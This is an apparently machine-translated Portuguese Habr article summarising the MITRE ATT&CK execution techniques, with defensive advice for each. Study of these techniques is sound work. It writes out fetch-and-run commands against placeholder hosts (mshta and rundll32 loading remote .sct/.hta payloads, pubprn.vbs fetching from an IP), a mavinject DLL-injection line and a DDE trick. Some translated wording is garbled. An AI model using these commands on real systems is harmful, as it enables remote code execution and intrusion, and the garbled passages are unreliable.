Aprenda táticas, técnicas e conhecimentos comuns do adversário (ATT @ CK). Táticas corporativas. Parte 2

Execução


Links para todas as partes:
Parte 1. Obtendo Acesso Inicial (Acesso Inicial)
Parte 2. Execução
Parte 3. Fixação (Persistência)
Parte 4. Escalonamento de Privilégios
Parte 5. Evasão de Defesa
Parte 6. Obtendo credenciais (acesso a credenciais)
Parte 7. Descoberta
Parte 8. Movimento Lateral
Parte 9. Coleta de Dados (Coleção)
Parte 10 Exfiltração
Parte 11. Comando e Controle

A fase "Execução" descreve o uso pelos invasores dos meios e métodos de execução remota e local no sistema atacado de vários comandos, scripts e arquivos executáveis ​​que foram entregues a ele no estágio anterior.

O autor não é responsável pelas possíveis consequências da aplicação das informações contidas no artigo e também se desculpa por possíveis imprecisões feitas em algumas formulações e termos. As informações publicadas são uma recontagem gratuita do conteúdo do MITRE ATT & CK.

AppleScript


Sistema: macOS
Direitos: Usuário
Descrição: a linguagem AppleScript tem a capacidade de trabalhar com o Apple Event - mensagens trocadas entre aplicativos como parte da comunicação entre processos (IPC). Usando o Apple Event, você pode interagir com quase qualquer aplicativo aberto local ou remotamente, acionar eventos como abrir janelas e pressionar teclas. Os scripts são executados usando o comando: Osascript -e <script> .
Os invasores podem usar o AppleScript para abrir secretamente conexões SSH para hosts remotos, oferecendo aos usuários diálogos falsos. O AppleScript também pode ser usado em tipos mais comuns de ataques, como nas organizações Reverse Shell.

Recomendações de proteção: verificação obrigatória da execução de scripts AppleScript para a assinatura de um desenvolvedor confiável.

CMSTP (AppLocker ByPass - CMSTP)


Sistema: Windows
Direitos: Usuário
Descrição: o Instalador de Perfil do Microsoft Connection Manager (cmstp.exe) é o utilitário " Connection Manager Profile Installer " incorporado no Windows. O cmstp.exe pode usar um arquivo inf como parâmetro, para que um invasor possa preparar um INF mal-intencionado especial para baixar e executar DLLs ou scriptlets (* .sct) de servidores remotos, ignorando o AppLocker e outros bloqueios, pois o cmstp.exe é assinado com um certificado digital da Microsoft.

Recomendações de proteção: Bloqueando o lançamento de aplicativos potencialmente perigosos. Monitorando as inicializações C: \ Windows \ System32 \ cmstp.exe .

Interface de linha de comando


Sistema: Windows, Linux, macOS
Direitos: Usuário, Administrador, Sistema
Descrição: você pode interagir com a interface da linha de comandos localmente, remotamente por meio de software de acesso remoto, usando o Reverse Shell, etc. Os comandos são executados com o nível de permissão atual do processo da interface da linha de comandos, se o comando não incluir uma chamada para o processo que altera as permissões para executar o comando (por exemplo, uma tarefa agendada).

Recomendações de segurança: Audite e / ou bloqueie a linha de comando usando ferramentas como AppLocker ou políticas de restrição de software.

Itens do painel de controle


Sistema: Windows
Direitos: Usuário, Administrador, Sistema
Descrição: a tática é usar os elementos do Painel de Controle do Windows pelos invasores para executar comandos arbitrários como carga (por exemplo, o vírus Reaver ). Objetos mal-intencionados podem ser disfarçados como controles padrão e entregues ao sistema usando anexos de phishing. Os utilitários para visualizar e definir as configurações do Windows são arquivos exe e arquivos CPL registrados dos elementos do painel de controle do Windows. Os arquivos CPL são realmente DLLs renomeados que podem ser executados das seguintes maneiras:
  • diretamente da linha de comando: control.exe <file.cpl> ;
  • usando as funções de API do shell32.dll: rundll32.exe shell32.dll, Control_RunDLL <file.cpl> ;
  • clique duas vezes no arquivo cpl.

As CPLs registradas armazenadas no System32 são exibidas automaticamente no Painel de Controle do Windows e têm um identificador exclusivo armazenado no registro:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ ControlPanel \ NameSpace

Informações sobre outras CPLs, por exemplo, o nome de exibição e o caminho para o arquivo cpl, são armazenadas nas seções Cpls e Extended Properties da seção:
Painel HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Control

Algumas CPLs lançadas através do shell são registradas na seção:
Pasta HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Controls \ {nome} \ shellex \ PropertySheetHandlers

Recomendação de proteção: restrinja a inicialização e o armazenamento de arquivos de itens do painel de controle apenas em pastas protegidas (por exemplo, C: \ Windows \ System32 ), ative o UAC (User Account Control) e o AppLocker para impedir alterações não autorizadas no sistema. Claro, o uso de software antivírus.

Protocolo DDE (Dynamic Data Exchange Protocol), Code Exec sem macro no MSWord


Sistema: Windows
Direitos: Usuário
Descrição: o DDE é um protocolo para a interação de aplicativos que compartilham dados e memória compartilhada para mensagens. Por exemplo, um documento do Word pode conter uma tabela que é atualizada automaticamente de um documento do Excel. A técnica consiste em explorar uma vulnerabilidade nos aplicativos do MS Office relacionados ao uso do protocolo DDE no MS Office. Os invasores podem incorporar objetos nos documentos do MS Office que contêm comandos que serão executados quando o documento for aberto. Por exemplo, um documento do Word pode conter um objeto Campo cujo valor indica o comando {DDEAUTO <comando, por exemplo, c: \ windows \ system32 \ cmd.exe>} , que será executado quando o documento for aberto. Apesar da perda de relevância, o DDE pode ser ativado, inclusive no Windows 10 e no MS Office 2016, usando a chave:
AllowDDE (DWORD) = 2 na chave do registro:
HKEY_CURRENT_USER \ Software \ Microsoft \ Office \ <versão do Office> \ Word \ Security .

Recomendações de proteção: Siga as recomendações da Microsoft e instale a atualização apropriada do MS Office . No Windows 10, você também pode habilitar o parâmetro ASR (Attack Surface Reduction) para se proteger de ataques DDE e processos filhos pelos aplicativos MS Office.

Execução através da API


Sistema: Windows
Direitos: Usuário, Administrador, Sistema
Descrição: os invasores podem usar a API para executar arquivos binários. Funções de API como CreateProcess permitem que programas e scripts iniciem processos especificando os caminhos e argumentos necessários. Funções de API que podem ser usadas para executar arquivos binários:
  • CreateProcessA (), CreateProcessW ();
  • CreateProcessAsUserA (), CreateProcessAsUserW ();
  • CreateProcessInternalA (), CreateProcessInternalW ();
  • CreateProcessWithLogonW (), CreateProcessWithTokenW ();
  • LoadLibraryA (), LoadLibraryW ();
  • LoadLibraryExA (), LoadLibraryExW ();
  • LoadModule ();
  • LoadPackagedLibrary ();
  • WinExec ();
  • ShellExecuteA (), ShellExecuteW ();
  • ShellExecuteExA (), ShellExecuteExW ().


Recomendações de proteção: as chamadas de função da API são uma ocorrência comum e difícil de distinguir da atividade maliciosa. O vetor de proteção deve ser direcionado para impedir o lançamento das ferramentas do invasor no início da cadeia de ataques, detectando comportamentos maliciosos e bloqueando softwares potencialmente perigosos.

Execução através da carga do módulo


Sistema: Windows
Direitos: Usuário
Descrição: é possível organizar a execução do código usando o carregador de módulo do Windows - NTDLL.dll, que pode carregar a biblioteca DLL em um caminho local ou de rede arbitrário. O NTDLL.dll faz parte da API do Windows e pode chamar funções como CreateProcess () e LoadLibrary () .

Recomendações de proteção: as chamadas de função da API são funcionalidades regulares do SO, difíceis de distinguir das atividades maliciosas. O vetor de proteção deve ser direcionado para impedir o lançamento das ferramentas do atacante no início da cadeia de ataques. faz sentido considerar limitar o carregamento de DLLs para os diretórios% SystemRoot% e % ProgramFiles% .

Exploração para Execução de Cliente


Sistema: Windows, Linux, macOS
Direitos: Usuário
Descrição: a técnica envolve a execução remota de código usando explorações no software do usuário. A presença de vulnerabilidades no software é frequentemente associada à violação por parte dos desenvolvedores de software dos requisitos de programação segura, o que leva à possibilidade de causar um comportamento inesperado do software.
Considere alguns tipos de explorações:
  • Explorações do navegador. Navegadores da Web são o alvo quando os invasores usam links de carregamento de sombra e phishing. O sistema atacado pode ser comprometido por meio de um navegador normal após o usuário executar determinadas ações, por exemplo, seguindo o link especificado no email de phishing.
  • Explorações de aplicativos do Office. Arquivos maliciosos são transmitidos como anexos ou links de download. Para explorar a vulnerabilidade, o usuário deve abrir um documento ou arquivo para iniciar a exploração.
  • Explorações de aplicativos de terceiros. Aplicativos comuns, como Adobe Reader e Flash, geralmente usados ​​em ambientes corporativos, são direcionados por criminosos cibernéticos. Dependendo do software e da natureza da vulnerabilidade, as vulnerabilidades são exploradas em um navegador ou quando um usuário abre um arquivo, por exemplo, objetos Flash podem ser entregues em documentos do MS Office.


Recomendações de proteção: instalação oportuna de atualizações para aplicativos usados. O uso de vários meios de isolamento de aplicativos potencialmente vulneráveis ​​- caixas de areia, ferramentas de microssegmentação e virtualização, por exemplo, Sandboxie para Windows e Apparmor, Docker para Linux. Também são recomendados sistemas de proteção contra exploração, como o Windows Defender Exploit Guard (WDEG) para Windows 10 ou o EMET (Enhanced Mitigation Experience Toolkit) para versões anteriores do Windows.

Interface gráfica do usuário


Sistema: Windows, Linux, macOS
Direitos: Usuário, administrador, sistema
Descrição: um arquivo ou script executável é iniciado ao interagir com um arquivo por meio de uma interface gráfica do usuário (GUI) em uma sessão interativa ou remota, por exemplo, através do protocolo RDP.

Dicas de segurança: proteja credenciais que podem ser usadas para conectar-se remotamente ao sistema. Identifique utilitários de sistema desnecessários, software de terceiros que podem ser usados ​​para entrar no modo remoto interativo.

InstallUtil


Sistema: Windows
Direitos: Usuário
Descrição: InstallUtil é um utilitário de linha de comando do Windows que pode instalar e desinstalar aplicativos em conformidade com as especificações do .NET Framework. O Installutil é instalado automaticamente com o VisualStudio. O arquivo InstallUtil.exe é assinado por um certificado da Microsoft e armazenado em:
C: \ Windows \ Microsoft.NET \ Framework \ v [versão] \ InstallUtil.exe
Os invasores podem usar a funcionalidade InstallUtil para executar a execução de códigos de proxy e ignorar as listas de permissões de aplicativos.

Recomendações de proteção: É possível que o InstallUtil não seja usado no seu sistema, considere bloquear a instalação do InstallUtil.exe.

Drivers LSASS (Driver LSASS)


Sistema: Windows
Direitos: administrador, sistema
Descrição: a Autoridade de Segurança Local (LSA) é um subsistema Windows que fornece autenticação de usuário. O LSA inclui várias DLLs interconectadas dinâmicas que são executadas no processo LSASS.exe. Os invasores podem atacar o LSASS.exe substituindo ou adicionando drivers LSA ilegítimos e executando código arbitrário. A técnica é implementada no malware Pasam e Wingbird, que "lança" as DLLs modificadas usadas para carregar o LSASS. Nesse caso, o código malicioso é executado antes que a DLL ilegítima cause uma falha e a falha subsequente do serviço LSASS.

Recomendações de proteção: no Windows 8.1 e no Windows Server 2012 R2, ative a proteção LSA definindo a chave do Registro:
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Lsa \ RunAsPPL
para o valor dword: 00000001

Essa proteção garante que os plug-ins e drivers carregados por LSA sejam assinados digitalmente pela Microsoft. No Windows 10 e Server 2016, habilite o Windows Defender Credential Guard para executar lsass.exe em um ambiente virtual isolado. Ative o modo de pesquisa de DLL segura para reduzir o risco de carregamento de bibliotecas maliciosas no lsass.exe:
HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Control \ Session Manager \ SafeDllSearchMode .

Launchctl


Sistema: macOS
Direitos: Usuário, Administrador
Descrição: Launchctl - um utilitário para gerenciar o serviço Launchd. Usando o Launchctl, você pode gerenciar os serviços do sistema e do usuário (LaunchDeamons e LaunchAgents), bem como executar comandos e programas. O Launchctl suporta subcomandos da linha de comando, interativos ou redirecionados da entrada padrão:
launchctl submit -l [labelname] - / Caminho / para / coisa / para / execute '' arg "'' arg" '' arg " .
Ao iniciar e reiniciar serviços e daemons, os atacantes podem executar código e até ignorar a lista de permissões se o launchctl for um processo autorizado; no entanto, carregar, descarregar e reiniciar serviços e daemons podem exigir privilégios elevados.

Recomendações de segurança: Limitando os direitos do usuário para criar Agentes de Inicialização e iniciar Deamons de Inicialização usando a Diretiva de Grupo. Usando o aplicativo KnockKnock , você pode descobrir programas que usam o launchctl para gerenciar os Agentes de Inicialização e os Deamons de Inicialização.

Executando com agendamento local de tarefas


Sistema: Linux, macOS
Direitos: Usuário, Administrador, root
Descrição: os invasores podem criar tarefas nos sistemas atacados para o lançamento não autorizado de programas quando o sistema inicializar ou de acordo com uma programação. Os sistemas Linux e Apple suportam vários métodos para agendar o lançamento de tarefas periódicas em segundo plano: cron, at, launchd. Diferentemente do Agendador de tarefas do Windows, o agendamento de tarefas nos sistemas Linux não pode ser feito remotamente, exceto pelo uso de sessões remotas como SSH.

Recomendações de proteção: Limitando os direitos do usuário para criar tarefas agendadas, bloqueando os utilitários do sistema e outro software que pode ser usado para agendar tarefas.

Mshta


Sistema: Windows
Direitos: Usuário
Descrição: Mshta.exe (localizado em C: \ Windows \ System32 \ ) é um utilitário que executa aplicativos HTML da Microsoft (* .HTA). Os aplicativos HTA são executados usando as mesmas tecnologias que o InternetExplorer usa, mas fora do navegador. Devido ao fato de o Mshta processar arquivos ignorando as configurações de segurança do navegador, os atacantes podem usar o mshta.exe para proxy a execução de arquivos HTA maliciosos, Javascript ou VBScript. O arquivo malicioso pode ser iniciado por meio do script interno:
mshta vbscript: Close (Execute ("GetObject (" "script: https [:] // servidor da web / carga útil [.] sct" ")"))

ou diretamente, no URL:
mshta http [:] // servidor web / carga útil [.] hta

Recomendações de proteção: A funcionalidade do mshta.exe está associada a versões mais antigas do IE que atingiram o final de seu ciclo de vida. Bloqueie o Mshta.exe se você não estiver usando sua funcionalidade.

Powerhell


Sistema: Windows
Direitos: Usuário, Administrador
Descrição: O PowerShell (PS) é uma interface de linha de comando interativa poderosa e um ambiente de script incluído no Windows. Os atacantes podem usar o PS para coletar informações e executar código. Por exemplo, o cmdlet Start-Process pode executar um arquivo executável; o cmdlet Invoke-Command executará o comando localmente ou em um computador remoto. O PS também pode ser usado para baixar e executar arquivos executáveis ​​da Internet, sem salvá-los no disco rígido. Para conexões remotas usando PS, você precisa de direitos de administrador. Existem várias ferramentas para atacar o PS:

Recomendações de proteção: O PS pode ser removido do sistema se não for necessário. Se o PS for necessário, os administradores deverão limitar-se a executá-lo apenas executando scripts assinados. Desabilite o serviço WinRM para impedir a execução remota de scripts PS. Note-se que existem métodos para ignorar políticas de execução de script PS .

Regsvcs / regasm


Sistema: Windows
Direitos: Usuário, Administrador
Descrição: Regsvcs e Regasm são utilitários de utilitário do Windows usados ​​para registrar-se no sistema de montagem .NET Component Object Model (COM). Ambos os arquivos são assinados digitalmente pela Microsoft. Os invasores podem usar Regsvcs e Regasm para executar a execução de código de proxy quando o atributo é o código que deve ser executado antes de registrar ou cancelar o registro: [ComRegisterFunction] ou [ComUnregisterFunction]. O código com esses atributos pode ser iniciado mesmo se o processo for executado com privilégios insuficientes ou até travar na inicialização.

Recomendações de proteção: Bloqueie o Regsvcs.exe e o Regasm.exe se eles não forem usados ​​no seu sistema ou rede.

Regsvr32 (Squiblydoo)


Sistema: Windows
Direitos: Usuário, Administrador
Descrição: Regsvr32.exe é um utilitário de console para registrar e cancelar o registro de controles OLE, como ActiveX e DLLs, no registro. O Regsvr32.exe é assinado digitalmente pela Microsoft e pode ser usado para execução de código proxy. Por exemplo, usando o Regsvr32, você pode fazer o download de um arquivo XML que contém partes do código Java (scriptlets) que ignoram a lista branca.

Recomendações de proteção: o ASR (Attack Surface Reduction) no EMET e o Advanced Theart Protection no Windows Defender podem bloquear o uso do Regsvr32.exe para ignorar as listas brancas.

Rundll32 (Poweliks)


Sistema: Windows
Direitos: Usuário
Descrição: Rundll32.exe é um utilitário de sistema para iniciar programas localizados em bibliotecas conectadas dinamicamente que podem ser chamadas para proxy do arquivo binário, executar arquivos de controle do Windows (.cpl) por meio das funções shel32.dll não documentadas - Control_RunDLL e Control_RunDLLAsUser . Clicar duas vezes no arquivo .cpl também faz com que o Rundll32.exe seja executado. O Rundll32 também pode ser usado para executar scripts como JavaScript:
javascript do rundll32.exe: "\ .. \ mshtml, RunHTMLApplication"; document.write (); GetObject ("scrirpt: https [:] // www [.] exemplo [.] com / malicioso.sct") "
O método acima para usar o rundll32.exe é detectado por um software antivírus como um vírus como o Poweliks.
Recomendações de proteção: o ASR (Attack Surface Reduction) no EMET e o Advanced Theart Protection no Windows Defender podem bloquear o uso do Rundll32.exe para ignorar a lista de permissões.

Executando tarefas agendadas do Windows


Sistema: Windows
Direitos: Usuário, Administrador, Sistema
Descrição: utilitários como at, schtasks e Windows Task Scheduler podem ser usados ​​para agendar programas e scripts para execução em uma data e hora específica. Uma tarefa pode ser agendada em um sistema remoto, desde que o RPC seja usado para autenticação e o compartilhamento de impressoras e arquivos esteja ativado. Além disso, são necessários direitos de administrador para agendar tarefas em um sistema remoto. Os invasores podem usar o agendamento de tarefas remotas para executar programas na inicialização do sistema ou no contexto de uma conta específica.

Recomendações de proteção: ative a restrição de direitos para criar tarefas para usuários em nome do Sistema no registro:
HKLM \ SYSTEM \ CurrentControlSet \ Control \ Lsa \ SubmitControl = 0
Nota:SubmitControl = 1, permite que membros do grupo Operadores de Servidor criem trabalhos.

Além disso, configure o GPO apropriado:
Configuração do computador> [Diretivas]> Configurações do Windows> Configurações de segurança> Diretivas locais> Opções de segurança: Controlador de domínio: permite que os operadores de servidor agendem tarefas: desativadas
Configuração do computador> [Diretivas]> Configurações do Windows> Configurações de segurança> Local Políticas> Atribuição de direitos do usuário: Aumente a prioridade de agendamento
Considere o uso do PowerSploit Framework, que contém o módulo PowerUP para encontrar vulnerabilidades na resolução de tarefas agendadas em sua atividade.

Script


Sistema: Windows, Linux, macOS
Direitos:
Descrição do usuário : Os invasores podem usar scripts para automatizar suas ações, acelerar tarefas operacionais e, como resultado, reduzir o tempo necessário para obter acesso. Algumas linguagens de script podem ser usadas para ignorar os mecanismos de monitoramento de processos, interagindo diretamente com o sistema operacional no nível da API, em vez de chamar outros programas. Os scripts podem ser incorporados nos documentos do Office como macros e depois usados ​​para ataques de phishing. Nesse caso, os invasores esperam que o usuário execute o arquivo de macro ou que o usuário concorda em ativar a macro. Existem várias estruturas populares para implementar scripts - Metasploit, Veil, PowerSploit.

Dicas de segurança: limite o acesso a scripts como VBScript ou PowerShell. No Windows, defina as configurações de segurança do MS Office, ativando a exibição segura e a proibição de macro por meio do GPO. Se forem necessárias macros, permita apenas a execução de macros confiáveis ​​assinadas digitalmente. Use a microssegmentação e a virtualização de aplicativos, por exemplo, Sandboxie para Windows e Apparmor, Docker para Linux.

Iniciando serviços (execução de serviço)


Sistema:
Direitos do Windows : Administrador,
Descrição do sistema : Os invasores podem executar um código, comando ou script binário usando métodos especiais de interação com os serviços do Windows, por exemplo, usando o Service Control Manager (SCM), você pode criar novos serviços e modificar os que estão em execução.

Recomendações de proteção:Verifique se a configuração atual de privilégios no sistema proíbe o lançamento de serviços com altos privilégios de usuários com baixos privilégios. Verifique se os arquivos executáveis ​​com permissões altas no sistema não podem ser substituídos ou modificados por usuários com permissões inferiores. Considere usar ferramentas para restringir o lançamento de programas potencialmente perigosos usando o AppLocker e configurar as Políticas de Restrição de Software .

Execução por meio de execução de proxy binário assinado


Sistema: Windows
Direitos:
Descrição do Usuário : Arquivos binários assinados com certificados digitais confiáveis ​​podem ser executados em sistemas Windows protegidos pela verificação de assinatura digital. Vários arquivos da Microsoft assinados por padrão durante a instalação do Windows podem ser usados ​​como proxy para o lançamento de outros arquivos:
Mavinject.exe é um utilitário do Windows que permite que o código seja executado. O Mavinject pode ser usado para inserir a DLL no processo em execução:
"C: \ Arquivos de Programas \ Arquivos Comuns \ microsoft shared \ ClickToRun \ MavInject32.exe" [PID] / INJECTRUNNING [PATH DLL]
C: \ Windows \ system32 \ mavinject.exe [PID ] / INJECTRUNNING [PATH DLL]
SyncAppvPublishingServer.exe- pode ser usado para executar scripts do powershell sem executar o powershell.exe.
Existem vários binários mais semelhantes .

Recomendações de proteção: Muitos arquivos assinados não podem ser usados ​​no seu sistema, portanto, considere bloquear a inicialização deles.

Execução por meio de scripts assinados (execução de proxy de script assinado)


Sistema: Windows
Direitos: Usuários
Descrição: Os scripts assinados com certificados confiáveis ​​podem ser usados ​​para proxy de arquivos maliciosos, por exemplo, o PubPrn.vbs é assinado com um certificado da Microsoft e pode ser usado para executar um arquivo de um servidor remoto:
cscript C: \ Windows \ System32 \ Printing_Admin_Scripts \ Script ru-RU \ pubprn.vbs 127.0.0.1: http [:] // 192.168.1.100/hi.png

Recomendações de proteção: Esses scripts assinados podem não ser necessários no seu sistema; considere bloquear o lançamento deles.

Equipe de origem


Sistema: Linux e macOS
Direitos:
Descrição do usuário : Origem - um comando que permite ler e executar todos os comandos do arquivo especificado no shell de comando atual, o que significa que todas as variáveis ​​de ambiente especificadas estarão visíveis em todos os scripts e comandos que serão iniciados. A fonte pode ser iniciada de duas maneiras:
source / path / to / filename [argumentos] ou . / path / to / filename [argumentos]
Anote o espaço após o período. Sem espaço, o programa será lançado em um novo shell de comando. Os invasores podem usar o Source para executar arquivos não marcados com o sinalizador "x" como arquivos executáveis.

Recomendações de proteção: Para impedir o uso de comandos internos no sistema é bastante difícil devido à sua legalidade, portanto, o vetor de proteção deve ser direcionado para impedir ações maliciosas nos estágios anteriores do ataque, por exemplo, no estágio de entrega ou criação de um arquivo malicioso no sistema.

Espaço após o nome do arquivo


Sistema: Linux, macOS
Direitos: Descrição do usuário
:Os invasores podem ocultar o verdadeiro tipo de um arquivo alterando sua extensão. Para certos tipos de arquivos (não funciona com arquivos .app), adicionar um caractere de espaço ao final do nome do arquivo mudará a maneira como o arquivo é processado pelo sistema operacional. Por exemplo, se houver um arquivo executável Mach-O com o nome evil.bin, quando o usuário clicar duas vezes, o sistema operacional iniciará o Terminal.app e o executará. Se o mesmo arquivo for renomeado para evil.txt, com um clique duplo, ele será iniciado em um editor de texto. No entanto, se o arquivo for renomeado para "evil.txt" (um espaço no final), clicando duas vezes no tipo de arquivo verdadeiro, o sistema operacional será determinado e o arquivo binário será iniciado. Os invasores podem usar essa técnica para induzir um usuário a iniciar um arquivo executável malicioso.

Recomendações de proteção:O uso dessa técnica é difícil de evitar, porque um invasor usa mecanismos operacionais padrão do sistema operacional; portanto, o vetor de proteção deve ter como objetivo impedir ações maliciosas nos estágios anteriores do ataque, por exemplo, no estágio de entrega ou criação de um arquivo malicioso no sistema.

Execução usando software de administração de rede de terceiros (software de terceiros)


Sistema: Windows, Linux, macOS
Direitos: Usuário, administrador,
Descrição do sistema : O vetor de ataque é direcionado a softwares e sistemas de implantação de software de terceiros que são usados ​​na rede atacada para fins administrativos (SCCM, VNC, HBSS, Altris, etc.). Se um invasor obtiver acesso a esses sistemas, o adversário poderá executar o código remotamente em todos os hosts conectados ao sistema de implantação de software. Os direitos necessários para implementar esta técnica dependem da configuração específica do sistema. As credenciais locais podem ser suficientes para acessar o servidor de implantação de software; no entanto, uma conta de administrador pode ser necessária para iniciar a implantação do software.

Recomendações de proteção:Verifique o nível de segurança dos seus sistemas de implantação de software. Verifique se o acesso aos sistemas de gerenciamento de software é limitado, controlado e protegido. Use estritamente políticas de pré-aprovação obrigatórias para implantação remota de software. Forneça acesso aos sistemas de implantação de software a um número limitado de administradores, assegure o isolamento do sistema de implantação de software. Verifique se as credenciais para acesso ao sistema de implantação de software são exclusivas e não são usadas em outros serviços na rede corporativa. Se o sistema de implantação de software estiver configurado para executar apenas arquivos binários assinados, verifique se os certificados confiáveis ​​não estão armazenados no próprio sistema de implantação de software, mas estão localizados em um sistema que não pode ser acessado remotamente.

Trap Team


Sistema: Linux, macOS
Direitos: Usuário, administrador
Descrição: O comando trap é usado para proteger o script contra interrupções (ctrl + c, ctrl + d, ctrl + z, etc.). Se o script receber um sinal de interrupção especificado nos argumentos do comando trap, ele processará o sinal de interrupção sozinho, enquanto o shell não processará esse sinal. Os atacantes podem usar trap para registrar o código que será executado quando o shell receber certos sinais de interrupção.

Recomendações de proteção:É difícil impedir o uso dessa técnica, porque o invasor usa os mecanismos padrão do sistema operacional. O vetor de proteção deve ter como objetivo impedir ações maliciosas nos estágios anteriores do ataque, por exemplo, no estágio de entrega ou criação de um arquivo malicioso no sistema.

Executando os Utilitários de Desenvolvedor Confiáveis


Sistema: Windows
Direitos:
Descrição do Usuário : Existem muitos utilitários usados ​​por desenvolvedores de software e que podem ser usados ​​para executar código de várias formas no desenvolvimento, depuração e engenharia reversa de software. Esses utilitários geralmente são assinados com certificados digitais que permitem proxy de códigos maliciosos no sistema operacional, ignorando os mecanismos de segurança e as folhas de aplicativos em branco.

MsbulidÉ uma plataforma de desenvolvimento de software usada no Visual Studio. Ele usa projetos na forma de arquivos XML que descrevem os requisitos para a construção de várias plataformas e configurações. O MSBuild do .NET versão 4 permite inserir o código C # em um projeto XML, compilá-lo e executá-lo. MSBulid.exe é assinado pelo Microsoft Digital Certificate.
DNX - .Net Execution Environmant (dnx.exe) é um kit de desenvolvimento para o Visual Studio Enterprise. Descontinuado desde a CLI do .NET Core em 2016. O DNX está ausente nas compilações padrão do Windows e só pode estar presente nos hosts do desenvolvedor ao usar o .Net Core e o ASP.NET Core 1.0. O Dnx.exe é assinado digitalmente e pode ser usado para execução de código proxy.
RCSI- interface de linha de comando não interativa para C #, semelhante ao csi.exe. Foi introduzido em uma versão anterior da plataforma do compilador Roslyn .Net. Rcsi.exe é assinado pelo Microsoft Digital Certificate. Os arquivos de script C # .csx podem ser gravados e executados usando o Rcsi.exe no prompt de comando do Windows.
WinDbg / CDB é o kernel do MS Windows e um utilitário para depuração no modo de usuário. O depurador de console da Microsoft cdb.exe também é um depurador no modo de usuário. Ambos os utilitários podem ser usados ​​como ferramentas independentes. Comumente usado no desenvolvimento de software, engenharia reversa e não pode ser encontrado em sistemas Windows regulares. Os arquivos WinDbg.exe e CDB.exe são assinados pelo Microsoft Digital Certificate e podem ser usados ​​para codificar proxy.
Tracker- utilitário de rastreamento de arquivo tracker.exe. Incluído no .NET como parte do MSBuild. Usado para registrar chamadas no sistema de arquivos do Windows 10. Os atacantes podem usar o tracker.exe para executar a DLL em vários processos. Tracker.exe também é assinado com um certificado da Microsoft.

Recomendações de proteção: Todos os arquivos acima devem ser excluídos do sistema se não forem usados ​​pelos usuários para os fins pretendidos.

Execução do Usuário


Sistema: Windows, Linux, macOS
Direitos:
Descrição do usuário : Os invasores podem contar com determinadas ações do usuário para executar determinadas ações. Isso pode ser execução direta do código quando um usuário abre um arquivo executável malicioso entregue como um anexo de phishing com um ícone e uma extensão visível de arquivo de documento. Às vezes, outras técnicas podem ser usadas, por exemplo, quando um usuário clica em um link em um email de phishing, o que leva à exploração de uma vulnerabilidade do navegador. A técnica de "execução do usuário" é frequentemente usada em outros estágios da invasão, por exemplo, quando um invasor coloca um arquivo em um diretório compartilhado ou na área de trabalho do usuário, esperando que ele "clique" nele.

Dicas de proteção: aumente a conscientização do usuário. Bloquear o download de arquivos como .scr, .exe, .pif, .cpl, etc. O uso de software antivírus e a implementação de sistemas IPS.

Instrumentação de Gerenciamento do Windows (WMI)


Sistema: Windows
Direitos: Usuário, Administrador
Descrição: O WMI é uma ferramenta para administrar o Windows, que fornece acesso local e remoto aos componentes do sistema Windows. O WMI usa SMB e RPCS (executado na porta 135). Os invasores podem usar o WMI para interagir com sistemas locais e remotos, e também como um meio de executar muitas operações táticas, como reunir informações no estágio da revisão de recursos (descoberta) e execução remota de arquivos durante o "movimento literal".

Recomendações de proteção:Desabilitar o WMI e o RPCS pode levar à instabilidade do sistema. Por padrão, apenas os administradores podem se conectar remotamente ao sistema via WMI. Impedir a duplicação de privilégios entre contas administrativas e outras contas privilegiadas.

Gerenciamento Remoto do Windows (WinRM)


Sistema: Windows
Direitos: Usuário, administrador
Descrição: Windows Remote Management (WinRM) é o nome de um serviço e protocolo que permite a interação remota do usuário com o sistema (por exemplo, iniciar um arquivo, alterar o registro, alterar um serviço. Para iniciar, use o comando winrm e outros programas ., como PowerShell

Orientação para prevenção: Desativar o serviço WinRM, se for necessário, WinRM infraestrutura isolar com contas separadas e permissão deve ser .. WinRM recomendações sobre como configurar métodos de autenticação e uso hospedeiro randmauerov para permitir o acesso a WinRM somente com determinados dispositivos.

Source: https://habr.com/ru/post/pt424027/


All Articles